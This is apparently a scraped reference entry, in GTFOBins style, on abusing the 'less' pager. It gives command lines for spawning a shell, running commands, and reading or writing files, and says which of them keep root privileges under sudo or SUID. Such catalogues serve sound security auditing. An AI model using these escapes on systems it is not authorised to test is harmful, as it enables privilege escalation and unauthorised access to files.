less
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
less /etc/hosts !/bin/shThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.less /etc/hosts !/bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.less /etc/hosts !/bin/sh - This function can be performed by any unprivileged user.
LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts resetThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts reset - This function can be performed by any unprivileged user.
VISUAL='/bin/sh -s --' less /etc/hosts vThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.VISUAL='/bin/sh -s --' less /etc/hosts v
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
cp /path/to/command ~/.lessfilter less /etc/hosts - This function can be performed by any unprivileged user.
LESSOPEN='/path/to/command # %s' less /etc/hostsThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.LESSOPEN='/path/to/command # %s' less /etc/hosts
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
echo DATA | less s/path/to/output-file qThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo DATA | less s/path/to/output-file qThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo DATA | less s/path/to/output-file q
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
less /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.less /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.less /path/to/input-file - This function can be performed by any unprivileged user.
less /etc/hosts :e /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.less /etc/hosts :e /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.less /etc/hosts :e /path/to/input-file - This function can be performed by any unprivileged user.
LESSOPEN='echo /path/to/input-file # %s' less /etc/hostsThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
less /etc/hosts vThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.less /etc/hosts vThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.less /etc/hosts v